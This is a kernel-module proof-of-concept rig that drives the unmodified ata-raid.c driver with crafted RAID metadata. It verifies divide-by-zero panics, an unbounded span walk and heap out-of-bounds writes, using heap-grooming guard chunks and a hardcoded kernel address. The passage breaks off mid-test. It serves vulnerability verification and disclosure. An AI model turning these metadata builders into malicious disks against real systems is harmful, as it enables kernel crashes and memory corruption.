/*
 * dfrig3_ata.c -- DF-2496 / DF-2497 / DF-2498 verification rig
 *                (sys/dev/disk/nata/ata-raid.c)
 *
 * The UNMODIFIED production file ata-raid.c is compiled into this KLD
 * (via #include, module plumbing neutralized) and its real code paths
 * are driven with crafted on-disk RAID metadata, exactly the way a
 * crafted disk plugged into an nata-controlled ATA channel would be
 * parsed at boot/attach.  The ONLY interposed seam is
 * ata_queue_request() (defined after the #include so the production
 * ata-raid.o object binds to it): metadata READs are completed
 * synchronously out of dfrig_img[] instead of talking to hardware.
 * The parsers, the kmalloc()s, the geometry copies, the strategy loop
 * and the status math are 100% production code.
 *
 * Findings under test:
 *
 *   DF-2496  divide-by-zero panics from crafted RAID geometry
 *            (interleave == 0 in ata_raid_strategy RAID0/01 ata-raid.c:359,
 *             total_sectors == 0 in ata_raid_status :1028,
 *             heads*sectors == 0 in ata_raid_attach :181).
 *   DF-2497  unbounded disk-index walk in the SPAN/JBOD strategy
 *            (ata-raid.c:352-353: while (lba >= rdp->disks[drv].sectors)
 *             lba -= rdp->disks[drv++].sectors;  -- no bound vs
 *             total_disks / MAX_DISKS / allocation size).
 *   DF-2498  Intel MatrixRAID heap OOB via untrusted map->total_disks /
 *            disk_idx (ata-raid.c:2165, 2230, 2243-2251).
 *
 * Tests (sysctl kern.dfrig3_ata_test=<n>, read kern.dfrig3_ata_status):
 *
 *   NON-FATAL:
 *   12  DF-2496 setup: production Intel parse installs interleave=0 and
 *       total_sectors=0 verbatim from crafted metadata (no validation).
 *   11  DF-2497 primary: production HPTv2 SPAN parse -> production
 *       ata_raid_strategy() with blkno past the array end.  The walk
 *       climbs past rdp->total_disks and past disks[MAX_DISKS-1]; a
 *       single harness stopper is planted at the disks[30].sectors
 *       stride (IN-object, deterministic) so the walk terminates at a
 *       VALID address; the shim then prints request->this (the drv the
 *       production code reached) = 30 >= 16 = MAX_DISKS.
 *   13  DF-2497 past-allocation attempt: same but stopper at the
 *       disks[60].sectors stride (PAST the ar_softc allocation, inside a
 *       guard chunk if one covers the address).
 *   10  DF-2498 primary: production Intel parse with map->total_disks=60
 *       (>= MAX_ARRAYS disks) -> production loop writes raid->disks[disk]
 *       for disk up to 59: disks[16..48] smash in-object fields
 *       (toggle/rebuild_lba/lock/disk/devstat/cdev/pid), disks[49..59]
 *       land past the allocation (guard-sandwich).  Serial matches the
 *       fake parent identify data so the array is RETAINED and can be
 *       read back.
 *
 *   FATAL (one per boot; proof = serial console panic):
 *   20  DF-2496 strategy: Intel parse stripe_sectors=0 -> production
 *       ata_raid_strategy() -> blkno % 0 -> trap 0 divide error.
 *   21  DF-2496 status: Intel parse total_sectors=0 into the REAL kernel
 *       ata_raid_arrays[0] -> real IOCATARAIDSTATUS ioctl from userland
 *       (/root/dfrig3/atastat 0) -> 100*lba/0 -> trap 0.
 *   22  DF-2496 attach: rdp heads=0 sectors=63 -> production
 *       ata_raid_attach() -> total/(heads*sectors) -> trap 0 at :181.
 *   23  DF-2498 wild read: Intel parse with disk_idx[]=0xffff ->
 *       meta->disk[0xffff] read ~3.1MB past the 1536-byte metadata
 *       object -> page fault in ata_raid_intel_read_meta.
 *
 *   99  cleanup: free witness/real-global array entries.
 */

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>
#include <sys/bus.h>
#include <sys/bus_private.h>	/* struct bsd_device layout */
#include <sys/conf.h>		/* struct cdev / si_drv1 */
#include <sys/bio.h>
#include <sys/buf.h>
#include <sys/device.h>		/* struct dev_strategy_args */

#include <sys/nata.h>

/* ------------------------------------------------------------------ */
/* neutralize the production file's module/driver plumbing so this KLD */
/* registers nothing that clashes with the built-in ataraid module     */
/* ------------------------------------------------------------------ */
#undef DRIVER_MODULE
#undef DECLARE_MODULE
#undef MODULE_DEPEND
#undef MODULE_VERSION
#define DRIVER_MODULE(name, busname, driver, devclass, evh, arg)	/* rig */
#define DECLARE_MODULE(name, data, sub, order)			/* rig */
#define MODULE_DEPEND(name, m, v1, v2, v3)			/* rig */
#define MODULE_VERSION(m, v)					/* rig */

#include "ata-raid.c"		/* <-- UNMODIFIED production code */

#undef DRIVER_MODULE
#undef DECLARE_MODULE
#undef MODULE_DEPEND
#undef MODULE_VERSION

/* ------------------------------------------------------------------ */
/* interposed I/O completion seam                                       */
/* ------------------------------------------------------------------ */

static u_int8_t dfrig_img[1536];	/* crafted on-disk metadata image */
static int dfrig_armed;
static int dfrig_strategy_seen;		/* count of strategy dispatches */
static int dfrig_last_drv = -1;		/* request->this of last dispatch */
static void *dfrig_last_dev;		/* request->dev of last dispatch */

static struct ar_softc *dfrig_witness[64];

static struct lock dfrig_fake_state_mtx;

void
ata_queue_request(struct ata_request *request)
{
	callout_init_lk(&request->callout, &dfrig_fake_state_mtx);

	if (request->flags & ATA_R_THREAD) {
		/* strategy dispatch from production ata_raid_send_request() */
		dfrig_strategy_seen++;
		dfrig_last_drv = request->this;
		dfrig_last_dev = request->dev;
		kprintf("dfrig3: STRATEGY DISPATCH #%d: this(drv)=%d dev=%p "
			"lba=%ju bytecount=%u flags=%x\n",
			dfrig_strategy_seen, request->this, request->dev,
			(uintmax_t)request->u.ata.lba, request->bytecount,
			request->flags);
		request->result = 0;
		return;
	}
	if (dfrig_armed && (request->flags & ATA_R_READ) &&
	    request->bytecount <= sizeof(dfrig_img)) {
		bcopy(dfrig_img, request->data, request->bytecount);
		request->result = 0;
	} else {
		request->result = EIO;
	}
}

/* ------------------------------------------------------------------ */
/* fake device graph (exactly what nata hands the parsers)              */
/* ------------------------------------------------------------------ */

static struct bsd_device fake_sub_dev;
static struct bsd_device fake_ad_dev;
static struct ata_raid_subdisk fake_ars;
static struct ata_device fake_atadev;
static struct ad_softc fake_adsc;
static char fake_nameunit_ad[] = "fad0";
static char fake_nameunit_sub[] = "fad0-raid";

static void
setup_fakes(void)
{
	bzero(&fake_sub_dev, sizeof(fake_sub_dev));
	bzero(&fake_ad_dev, sizeof(fake_ad_dev));
	bzero(&fake_ars, sizeof(fake_ars));
	bzero(&fake_atadev, sizeof(fake_atadev));
	bzero(&fake_adsc, sizeof(fake_adsc));

	fake_sub_dev.softc = &fake_ars;
	fake_sub_dev.parent = (device_t)&fake_ad_dev;
	fake_sub_dev.nameunit = fake_nameunit_sub;
	fake_sub_dev.unit = 0;

	fake_ad_dev.softc = &fake_atadev;	/* ata_raid_rw: atadev->mode */
	fake_ad_dev.ivars = &fake_adsc;		/* *_LBA: ad_softc->total_secs */
	fake_ad_dev.nameunit = fake_nameunit_ad;
	fake_ad_dev.unit = 5;

	fake_atadev.mode = ATA_DMA;
	fake_atadev.max_iosize = 131072;
	fake_adsc.total_secs = 100000;
}

/* set the fake parent's identify serial (what the Intel parser
 * serial-matches against); serial[0..15] = 0xD0..0xDF == crafted meta,
 * tail bytes < 0x20 so the match loop's length scan stops at 16 */
static void
set_fake_serial_d0(void)
{
	int i;
	for (i = 0; i < 20; i++)
		fake_atadev.param.serial[i] =
		    (i < 16) ? (0xD0 + i) : 0x00;
}

/* ------------------------------------------------------------------ */
/* crafted metadata builders                                            */
/* ------------------------------------------------------------------ */

/*
 * Final (post-parser-swap) Intel metadata layout is built in m[1536],
 * checksummed over m[0..1024), then stored into dfrig_img so that the
 * production half-swap (ata-raid.c:2139-2142) reconstructs it exactly:
 * the parser reads 1024 bytes to meta[0..1024) then does
 *   bcopy(tmp, tmp+1024, 512); bcopy(tmp+512, tmp, 1024); bzero(tmp+1024,512)
 * i.e. final meta[0..512) = image[512..1024), final meta[512..1024) =
 * image[0..512).  So image = halves swapped of the intended final meta.
 */
static void
build_intel_meta(u_int phys_disks,	/* meta->total_disks (T) */
		 u_int8_t map_type,
		 u_int8_t map_total_disks,
		 u_int16_t stripe_sectors,
		 u_int64_t map_total_sectors,
		 u_int disk_idx_val,	/* fill for map->disk_idx[d] */
		 u_int disk_idx0)	/* override for map->disk_idx[0] */
{
	static u_int8_t m[1536];
	struct intel_raid_conf *c = (struct intel_raid_conf *)m;
	struct intel_raid_mapping *map;
	u_int32_t sum;
	int i, count;

	bzero(m, sizeof(m));
	bcopy(INTEL_MAGIC, c->intel_id, strlen(INTEL_MAGIC));
	bcopy("1.0.00", c->version, 6);
	c->config_size = 1024;
	c->config_id = 0xABCD1234;
	c->generation = 1;
	c->total_disks = phys_disks;
	c->total_volumes = 1;

	/* physical disk 0 descriptor (also the disk_idx[] target) */
	for (i = 0; i < 16; i++)
		c->disk[0].serial[i] = 0xD0 + i;
	for (i = 0; i < 16; i++)
		c->disk[1].serial[i] = 0xE0 + i;
	c->disk[1].sectors = 0x00E0E0E0;
	c->disk[1].flags = INTEL_F_ONLINE;
	c->disk[0].sectors = 0x00C0FFEE;
	c->disk[0].id = 0x51510000;
	c->disk[0].flags = INTEL_F_ONLINE | INTEL_F_ASSIGNED;

	/* the volume mapping: &meta->disk[phys_disks] in final layout */
	map = (struct intel_raid_mapping *)(m + __offsetof(struct intel_raid_conf, disk) +
					    phys_disks * sizeof(c->disk[0]));
	bcopy("DF98VOLUME", map->name, 10);
	map->total_sectors = map_total_sectors;
	map->state = 0;
	map->offset = 0x1000;
	map->disk_sectors = 0x10000;
	map->stripe_count = 100;
	map->stripe_sectors = stripe_sectors;
	map->status = INTEL_S_READY;
	map->type = map_type;
	map->total_disks = map_total_disks;
	bcopy("IBM", map->magic, 3);
	for (i = 0; i < 256; i++)
		map->disk_idx[i] = disk_idx_val;	/* region permitting */
	map->disk_idx[0] = disk_idx0;

	/* checksum over final m[0..1024) with the checksum field zeroed */
	sum = 0;
	for (count = 0; count < 1024 / sizeof(u_int32_t); count++)
		sum += ((u_int32_t *)m)[count];
	c->checksum = sum;	/* parser wants (sum_incl_C - C) == C */

	/* store halves-swapped image; zero tail beyond 1024 */
	bzero(dfrig_img, sizeof(dfrig_img));
	bcopy(m + 512, dfrig_img + 0, 512);
	bcopy(m + 0, dfrig_img + 512, 512);
}

/* HighPoint v2 SPAN metadata, served raw (no swap in that parser) */
static void
build_hptv2_span_meta(u_int8_t disk_number, u_int8_t array_width,
		      u_int32_t total_sectors)
{
	struct hptv2_raid_conf *h = (struct hptv2_raid_conf *)dfrig_img;

	bzero(dfrig_img, sizeof(dfrig_img));
	h->magic = HPTV2_MAGIC_OK;
	h->magic_0 = 0x11112222;
	h->magic_1 = 0x33334444;
	h->order = 0;
	h->array_width = array_width;
	h->stripe_shift = 0;
	h->type = HPTV2_T_SPAN;
	h->disk_number = disk_number;
	h->total_sectors = total_sectors;
	bcopy("DFSPAN", h->name_1, 6);
}

/* ------------------------------------------------------------------ */
/* production-strategy invocation helper                                */
/* ------------------------------------------------------------------ */

static struct cdev fake_cdev;
static struct bio fake_bio;
static struct buf fake_bbuf;
static char fake_databuf[512];
static int dfrig_bio_done_count;
static int dfrig_bio_error;

static void
rig_bio_done(struct bio *bio)
{
	dfrig_bio_done_count++;
	dfrig_bio_error = bio->bio_buf->b_error;
	kprintf("dfrig3: rig_bio_done #%d b_error=%d\n",
		dfrig_bio_done_count, dfrig_bio_error);
}

static int
fire_strategy(struct ar_softc *rdp, u_int64_t blkno, int bcount)
{
	struct dev_strategy_args args;

	bzero(&fake_cdev, sizeof(fake_cdev));
	bzero(&fake_bio, sizeof(fake_bio));
	bzero(&fake_bbuf, sizeof(fake_bbuf));
	bzero(fake_databuf, sizeof(fake_databuf));
	dfrig_bio_done_count = 0;
	dfrig_bio_error = -1;

	fake_cdev.si_drv1 = rdp;
	fake_bio.bio_buf = &fake_bbuf;
	fake_bio.bio_offset = (off_t)blkno * DEV_BSIZE;
	fake_bio.bio_done = rig_bio_done;
	fake_bbuf.b_cmd = BUF_CMD_READ;
	fake_bbuf.b_bcount = bcount;
	fake_bbuf.b_data = fake_databuf;
	fake_bbuf.b_resid = bcount;

	bzero(&args, sizeof(args));
	args.a_head.a_dev = &fake_cdev;
	args.a_bio = &fake_bio;

	return ata_raid_strategy(&args);	/* PRODUCTION */
}

/* ------------------------------------------------------------------ */
/* status buffer plumbing                                               */
/* ------------------------------------------------------------------ */

static char dfrig_status_buf[8192];
static int dfrig_last_rc;

#define P(fmt, ...) \
	ksnprintf(dfrig_status_buf + strlen(dfrig_status_buf), \
		  sizeof(dfrig_status_buf) - strlen(dfrig_status_buf), \
		  fmt "\n", ## __VA_ARGS__)

#define DISKS_OFF ((size_t)__offsetof(struct ar_softc, disks))
#define DISK_SECT_OFF(n) (DISKS_OFF + (n) * sizeof(struct ar_disk) + \
			  __offsetof(struct ar_disk, sectors))

/* ------------------------------------------------------------------ */
/* tests                                                                */
/* ------------------------------------------------------------------ */

/* --- test 12: DF-2496 setup -- geometry copied verbatim, no check --- */
static void
dfrig_test12_geometry(void)
{
	struct ar_softc *rdp;
	int rc;

	setup_fakes();
	set_fake_serial_d0();
	bzero(dfrig_witness, sizeof(dfrig_witness));
	build_intel_meta(2, INTEL_T_RAID0, 2, 0 /* stripe_sectors=0 */,
			 0 /* total_sectors=0 */, 0, 0);
	dfrig_armed = 1;
	testing = 1;
	rc = ata_raid_intel_read_meta((device_t)&fake_sub_dev, dfrig_witness);
	dfrig_armed = 0;
	testing = 0;
	rdp = dfrig_witness[0];

	P("== DF-2496 test12: production Intel parse installs degenerate "
	  "geometry verbatim ==");
	P("ata_raid_intel_read_meta() rc=%d raidp[0]=%p", rc, rdp);
	if (!rc || !rdp) {
		P("parse failed - cannot show geometry");
		dfrig_last_rc = 0;
		return;
	}
	P("installed geometry (all copied verbatim from crafted metadata, "
	  "never checked for zero):");
	P("  rdp->type         = 0x%x (AR_T_RAID0)", rdp->type);
	P("  rdp->status       = 0x%x (AR_S_READY)", rdp->status);
	P("  rdp->interleave   = %u   <-- map->stripe_sectors = 0 "
	  "(ata-raid.c:2229)", rdp->interleave);
	P("  rdp->total_sectors= %ju  <-- map->total_sectors = 0 "
	  "(ata-raid.c:2231)", (uintmax_t)rdp->total_sectors);
	P("  rdp->width        = %u", rdp->width);
	P("these feed, unguarded:");
	P("  ata-raid.c:359  chunk = blkno %% rdp->interleave      "
	  "(strategy RAID0/01)");
	P("  ata-raid.c:1028 progress = 100*lba / rdp->total_sectors "
	  "(ata_raid_status)");
	P("  ata-raid.c:181  total_sectors/(heads*sectors)         "
	  "(ata_raid_attach)");
	P("tests 20/21/22 fire those three sites (fatal, one per boot).");
	dfrig_last_rc = (rdp->interleave == 0 && rdp->total_sectors == 0);
	kfree(rdp, M_AR);
	dfrig_witness[0] = NULL;
}

/* --- test 11: DF-2497 primary (deterministic in-object stop) -------- */
static void
dfrig_test11_span_walk(void)
{
	struct ar_softc *rdp;
	u_int64_t *stopper;
	int rc;

	setup_fakes();
	bzero(dfrig_witness, sizeof(dfrig_witness));
	build_hptv2_span_meta(1 /* disk_number */, 2 /* width */,
			      2000 /* total_sectors */);
	dfrig_armed = 1;
	testing = 1;
	rc = ata_raid_hptv2_read_meta((device_t)&fake_sub_dev, dfrig_witness);
	dfrig_armed = 0;
	testing = 0;
	rdp = dfrig_witness[0];

	P("== DF-2497 test11: production HPTv2 SPAN parse + production "
	  "ata_raid_strategy() walk past the array end ==");
	P("parse rc=%d raidp[0]=%p", rc, rdp);
	if (!rc || !rdp) {
		P("parse failed");
		dfrig_last_rc = 0;
		return;
	}
	P("parse installed (verbatim from crafted metadata):");
	P("  type=AR_T_SPAN total_disks=%u width=%u total_sectors=%ju",
	  rdp->total_disks, rdp->width, (uintmax_t)rdp->total_sectors);
	P("  disks[0].sectors=%ju disks[1].sectors=%ju (total usable=%ju)",
	  (uintmax_t)rdp->disks[0].sectors,
	  (uintmax_t)rdp->disks[1].sectors,
	  (uintmax_t)(rdp->disks[0].sectors + rdp->disks[1].sectors));
	P("  sizeof(struct ar_softc)=%zu disks[] at +%.0zu "
	  "disks[%d].sectors stride at +%.0zu",
	  sizeof(struct ar_softc), DISKS_OFF, 30, DISK_SECT_OFF(30));

	/* production attach (ata_raid_config_changed) marks the array READY;
	 * mirror that state change (parse itself leaves status 0) */
	rdp->status = AR_S_READY;

	/*
	 * Harness stopper: the production walk reads .sectors at a 48-byte
	 * stride; everything past disks[total_disks-1] is OOB for the array
	 * (and past disks[15] OOB for MAX_DISKS).  A fresh parse leaves all
	 * of it zero, so the loop would keep climbing through kernel heap.
	 * We plant ONE valid readable stopper at the disks[30] entry (both
	 * .dev and .sectors, in-object: 30 < 49, mapped, deterministic) so
	 * the walk terminates at drv=30 at a VALID address and the shim can
	 * print the index the production code reached.  drv=30 is already
	 * 15 entries past MAX_DISKS and 28 past total_disks.
	 */
	*(u_int64_t *)((char *)rdp + DISKS_OFF +
		       30 * sizeof(struct ar_disk) + 0) =
	    (u_int64_t)(uintptr_t)&fake_ad_dev;		/* disks[30].dev */
	stopper = (u_int64_t *)((char *)rdp + DISK_SECT_OFF(30));
	*stopper = (u_int64_t)(uintptr_t)&fake_ad_dev;	/* disks[30].sectors */
	P("stopper planted at rdp+%.0zu (disks[30].sectors stride) = %llx "
	  "(disks[30].dev same)", DISK_SECT_OFF(30),
	  (unsigned long long)*stopper);

	P("firing production ata_raid_strategy(): blkno=5000 (past the "
	  "%ju-sector array), count=1 ...",
	  (uintmax_t)(rdp->disks[0].sectors + rdp->disks[1].sectors));
	dfrig_strategy_seen = 0;
	dfrig_last_drv = -1;
	rc = fire_strategy(rdp, 5000, 512);
	P("strategy returned %d; dispatches=%d", rc, dfrig_strategy_seen);
	if (dfrig_strategy_seen) {
		P("PROOF: production strategy dispatched to disk index "
		  "drv=this=%d (dev=%p read OOB at disks[%d]) -- "
		  "total_disks=%u, MAX_DISKS=%d: the walk read %d entries "
		  "past the configured disks and %d past disks[] bounds "
		  "before the stopper (ata-raid.c:352-353 has no bound)",
		  dfrig_last_drv, dfrig_last_dev, dfrig_last_drv,
		  rdp->total_disks, MAX_DISKS,
		  dfrig_last_drv - (int)rdp->total_disks + 1,
		  dfrig_last_drv - MAX_DISKS + 1);
		dfrig_last_rc = (dfrig_last_drv >= MAX_DISKS);
	} else {
		P("no dispatch (walk terminated without I/O?)");
		dfrig_last_rc = 0;
	}
	kfree(rdp, M_AR);
	dfrig_witness[0] = NULL;
}

/* --- test 13: DF-2497 past-the-allocation attempt -------------------- */
static void
dfrig_test13_span_past_alloc(void)
{
	struct ar_softc *rdp;
	void *guards[32];
	u_int64_t *target;
	char *t;
	int i, rc;

	setup_fakes();
	bzero(dfrig_witness, sizeof(dfrig_witness));
	build_hptv2_span_meta(1, 2, 2000);
	dfrig_armed = 1;
	rc = ata_raid_hptv2_read_meta((device_t)&fake_sub_dev, dfrig_witness);
	dfrig_armed = 0;
	rdp = dfrig_witness[0];
	P("== DF-2497 test13: walk stop at the disks[60].sectors stride "
	  "(PAST the ar_softc allocation) ==");
	if (!rc || !rdp) {
		P("parse failed");
		dfrig_last_rc = 0;
		return;
	}
	rdp->status = AR_S_READY;
	P("victim rdp=%p size=%zu; disks[60].sectors stride at rdp+%.0zu "
	  "(%zu past the allocation end)",
	  rdp, sizeof(struct ar_softc), DISK_SECT_OFF(60),
	  DISK_SECT_OFF(60) + 8 - sizeof(struct ar_softc));

	/* spray same-size-class guards AFTER the victim; fill every 8-byte
	 * slot with a valid readable pointer (fake ad dev) so wherever the
	 * walk lands it stops on a valid address */
	for (i = 0; i < 32; i++) {
		guards[i] = kmalloc(sizeof(struct ar_softc), M_AR,
				    M_WAITOK | M_ZERO);
		{
			u_int64_t *w = (u_int64_t *)guards[i];
			int k;
			for (k = 0; k < (int)(sizeof(struct ar_softc) / 8); k++)
				w[k] = (u_int64_t)(uintptr_t)&fake_ad_dev;
		}
	}
	P("guards %p..%p (32 x %zu, uniformly filled with fake-ad-dev "
	  "pointer)", guards[0], guards[31], sizeof(struct ar_softc));

	/* if a guard covers the disks[60].sectors stride address, the walk
	 * stops there deterministically; otherwise it stops somewhere in
	 * the natural heap (or faults -- captured on serial) */
	t = (char *)rdp + DISK_SECT_OFF(60);
	target = (u_int64_t *)t;
	P("stride address rdp+%.0zu = %p %s", DISK_SECT_OFF(60), t,
	  (t >= (char *)guards[0] && t < (char *)guards[31] +
	   sizeof(struct ar_softc)) ? "INSIDE guard range" :
	  "outside guards (natural heap decides)");

	dfrig_strategy_seen = 0;
	dfrig_last_drv = -1;
	rc = fire_strategy(rdp, 5000, 512);
	P("strategy returned %d; dispatches=%d", rc, dfrig_strategy_seen);
	if (dfrig_strategy_seen) {
		P("PROOF: walk reached disk index %d before dispatch "
		  "(>= 49 means past the %zu-byte allocation): "
		  "disks[%d].sectors is %zu bytes past the object",
		  dfrig_last_drv, sizeof(struct ar_softc), dfrig_last_drv,
		  DISK_SECT_OFF(dfrig_last_drv) + 8 > sizeof(struct ar_softc) ?
		  DISK_SECT_OFF(dfrig_last_drv) + 8 - sizeof(struct ar_softc) :
		  0);
		dfrig_last_rc = (DISK_SECT_OFF(dfrig_last_drv) >=
				 sizeof(struct ar_softc));
	} else {
		P("no dispatch (stopped without reaching a stopper -- "
		  "unexpected without a fault)");
		dfrig_last_rc = 0;
	}
	/* the walk only READS the guards (no writes on this path), so
	 * freeing them is safe */
	for (i = 0; i < 32; i++)
		kfree(guards[i], M_AR);
	kfree(rdp, M_AR);
	dfrig_witness[0] = NULL;
}

/* --- test 10: DF-2498 primary -- OOB write raid->disks[16..59] ------- */
#define T10_GUARDS 64
static void
dfrig_test10_intel_oob_write(void)
{
	void *guards[T10_GUARDS];
	struct ar_softc *rdp;
	char *p;
	int i, rc, smashed, changed;
	size_t off, k;
	u_int64_t *w;

	setup_fakes();
	set_fake_serial_d0();
	bzero(dfrig_witness, sizeof(dfrig_witness));

	/*
	 * Guard sandwich around the parse's own kmalloc(sizeof(ar_softc)):
	 * fill T10_GUARDS same-size-class chunks with 0x11, free the middle
	 * one, and let the PRODUCTION parse allocate its ar_softc into the
	 * hole (LIFO free list).  The OOB writes past the object then land
	 * in the following 0x11-filled guard chunks.
	 */
	for (i = 0; i < T10_GUARDS; i++) {
		guards[i] = kmalloc(sizeof(struct ar_softc), M_AR,
				    M_WAITOK | M_ZERO);
		memset(guards[i], 0x11, sizeof(struct ar_softc));
	}
	kfree(guards[T10_GUARDS / 2], M_AR);
	guards[T10_GUARDS / 2] = NULL;

	/* map->total_disks=60: raid->total_disks=60 verbatim (:2230);
	 * disks loop writes raid->disks[disk] for disk<60 (:2243-2263) --
	 * 44 entries past disks[MAX_DISKS-1], 11 past the allocation */
	build_intel_meta(2, INTEL_T_RAID0, 60, 64, 0x1000000, 0, 0);
	dfrig_armed = 1;

	rc = ata_raid_intel_read_meta((device_t)&fake_sub_dev, dfrig_witness);
	dfrig_armed = 0;

	rdp = dfrig_witness[0];

	P("== DF-2498 test10: production Intel parse, map->total_disks=60 "
	  "-> raid->disks[16..59] OOB writes ==");
	P("parse rc=%d raidp[0]=%p (retained: serial matched fake parent)",
	  rc, rdp);
	P("sizeof(struct ar_softc)=%zu disks[] at +%.0zu entry size=%zu "
	  "=> disks[49] starts at +%.0zu (first past the allocation)",
	  sizeof(struct ar_softc), DISKS_OFF, sizeof(struct ar_disk),
	  DISKS_OFF + 49 * sizeof(struct ar_disk));
	for (i = 0; i < T10_GUARDS; i += 8)
		P("guard[%2d]=%p%s", i, guards[i],
		  guards[i] ? "" : " (freed hole)");
	if (!rc || !rdp) {
		P("parse failed");
		dfrig_last_rc = 0;
		goto out;
	}
	P("victim lands %s the freed hole (guards[31]=%p guards[33]=%p)",
	  ((char *)rdp >= (char *)guards[30] &&
	   (char *)rdp < (char *)guards[34]) ? "IN/NEAR" : "away from",
	  guards[30], guards[34]);

	P("parse-installed array: total_disks=%u width=%u type=0x%x "
	  "interleave=%u", rdp->total_disks, rdp->width, rdp->type,
	  rdp->interleave);
	P("in-object smash readback (fields past disks[15] written by the "
	  "disks[disk<60] loop):");
	for (k = 16; k <= 48; k += 8) {
		w = (u_int64_t *)((char *)rdp + DISKS_OFF +
				  k * sizeof(struct ar_disk));
		P("  disks[%2zu] @rdp+%-5zu: dev=%016llx serial=%02x%02x%02x "
		  "sectors=%llx flags=%x",
		  k, DISKS_OFF + k * sizeof(struct ar_disk),
		  (unsigned long long)w[0],
		  ((unsigned char *)w)[8], ((unsigned char *)w)[9],
		  ((unsigned char *)w)[10],
		  (unsigned long long)*(u_int64_t *)((char *)w + 24),
		  *(u_int *)(void *)((char *)w + 40));
	}
	P("  (expected per disks[disk] write: dev=NULL, serial=D0..DF, "
	  "sectors=0xC0FFEE, flags=0xa ONLINE|ASSIGNED)");

	/* past-object raw readback */
	p = (char *)rdp + sizeof(struct ar_softc);
	P("raw u64s at victim+%zu..+%zu (past the object):",
	  sizeof(struct ar_softc), sizeof(struct ar_softc) + 64);
	for (off = 0; off < 64; off += 16)
		P("  +%.0zu: %016llx %016llx", sizeof(struct ar_softc) + off,
		  *(unsigned long long *)(p + off),
		  *(unsigned long long *)(p + off + 8));

	smashed = 0;
	for (i = 0; i < T10_GUARDS; i++) {
		if (!guards[i])
			continue;
		changed = 0;
		for (off = 0; off < sizeof(struct ar_softc); off++)
			if (((unsigned char *)guards[i])[off] != 0x11)
				changed++;
		if (changed) {
			smashed++;
			if (smashed <= 4) {
				w = (u_int64_t *)guards[i];
				P("guard[%d] %p SMASHED (%d/%zu bytes): "
				  "first words %llx %llx %llx %llx",
				  i, guards[i], changed,
				  sizeof(struct ar_softc),
				  (unsigned long long)w[0],
				  (unsigned long long)w[1],
				  (unsigned long long)w[2],
				  (unsigned long long)w[3]);
			}
		}
	}
	P("guard chunks hit by the overflow: %d/%d", smashed, T10_GUARDS);

	{
		int inobj = 0, pastobj = 0;
		u_int64_t x;
		/* deterministic in-object proof: disks[16] must contain the
		 * crafted serial pattern (0xD0..), not zeros */
		x = *(u_int64_t *)((char *)rdp + DISKS_OFF +
				   16 * sizeof(struct ar_disk) + 8);
		inobj = (((unsigned char *)&x)[0] == 0xD0 &&
			 ((unsigned char *)&x)[1] == 0xD1);
		P("in-object proof: disks[16].serial[0..1]=%02x%02x %s",
		  ((unsigned char *)&x)[0], ((unsigned char *)&x)[1],
		  inobj ? "== crafted D0 D1 -- OOB WRITE CONFIRMED" :
		  "unexpected");
		/* deterministic past-object proof: scan every byte range the
		 * disks[disk<60] loop wrote BEYOND the 2424-byte object for
		 * the crafted 0x00C0FFEE sector marker */
		for (k = 49; k < 60; k++) {
			u_int64_t s = *(u_int64_t *)((char *)rdp +
			    DISKS_OFF + k * sizeof(struct ar_disk) +
			    __offsetof(struct ar_disk, sectors));
			if (s == 0x00C0FFEE)
				pastobj++;
		}
		P("past-object proof: %d/11 entries disks[49..59] carry the "
		  "crafted sectors marker 0xC0FFEE at rdp+%.0zu..+%.0zu "
		  "(object ends at +%zu)",
		  pastobj, DISKS_OFF + 49 * sizeof(struct ar_disk) + 24,
		  DISKS_OFF + 60 * sizeof(struct ar_disk),
		  sizeof(struct ar_softc));
		dfrig_last_rc = inobj && (pastobj >= 1);
		P("PROOF: raid->disks[disk] loop wrote %d entries past "
		  "disks[MAX_DISKS-1] in-object (%s) and %d/11 past the "
		  "allocation (raw readback) via raid->total_disks=%u taken "
		  "verbatim from map->total_disks (ata-raid.c:2230); the "
		  "serial-match loop then wrote .dev/flags OOB for those same "
		  "entries (ata-raid.c:2266-2283)",
		  60 - MAX_DISKS, inobj ? "confirmed" : "check", pastobj,
		  rdp->total_disks);
	}
out:
	if (rdp)
		kfree(rdp, M_AR);
	dfrig_witness[0] = NULL;
	for (i = 0; i < T10_GUARDS; i++)
		if (guards[i])
			kfree(guards[i], M_AR);
}

/* --- test 20: DF-2496 fatal -- strategy interleave=0 ------------------ */
static void
dfrig_test20_strategy_div0(void)
{
	struct ar_softc *rdp;
	int rc;

	setup_fakes();
	set_fake_serial_d0();
	bzero(dfrig_witness, sizeof(dfrig_witness));
	build_intel_meta(2, INTEL_T_RAID0, 2, 0 /* stripe_sectors=0 */,
			 0x1000000, 0, 0);
	dfrig_armed = 1;
	rc = ata_raid_intel_read_meta((device_t)&fake_sub_dev, dfrig_witness);
	dfrig_armed = 0;
	rdp = dfrig_witness[0];
	P("== DF-2496 test20: parse stripe_sectors=0 -> interleave=0; "
	  "production strategy RAID0 blkno %% interleave ==");
	P("parse rc=%d raidp[0]=%p interleave=%u", rc, rdp,
	  rdp ? rdp->interleave : 0xDEAD);
	if (!rc || !rdp) {
		P("parse failed");
		dfrig_last_rc = 0;
		return;
	}
	P("firing production ata_raid_strategy() blkno=0 count=1 ...");
	P("EXPECTING FATAL TRAP 0 (divide error) at ata-raid.c:359 "
	  "`chunk = blkno %% rdp->interleave' -- panic follows on serial");
	dfrig_last_rc = 1;
	rc = fire_strategy(rdp, 0, 512);
	P("SURVIVED (unexpected): strategy returned %d", rc);
	dfrig_last_rc = 0;
}

/* --- test 21: DF-2496 fatal -- status total_sectors=0, REAL ioctl ----- */
#define DFRIG_KERNEL_ATARAID_ARRAYS \
	((struct ar_softc **)0xffffffff8114dec0ULL)

static void
dfrig_test21_status_div0_arm(void)
{
	struct ar_softc **real = DFRIG_KERNEL_ATARAID_ARRAYS;
	struct ar_softc *rdp;
	int rc;

	setup_fakes();
	set_fake_serial_d0();
	build_intel_meta(2, INTEL_T_RAID0, 2, 64,
			 0 /* map->total_sectors=0 */, 0, 0);
	dfrig_armed = 1;
	rc = ata_raid_intel_read_meta((device_t)&fake_sub_dev, real);
	dfrig_armed = 0;
	rdp = real[0];
	P("== DF-2496 test21: parse total_sectors=0 into the REAL kernel "
	  "ata_raid_arrays[0]; then a real IOCATARAIDSTATUS ioctl ==");
	P("parse rc=%d real ata_raid_arrays[0]=%p total_sectors=%ju "
	  "rebuild_lba=%ju", rc, rdp,
	  rdp ? (uintmax_t)rdp->total_sectors : 0,
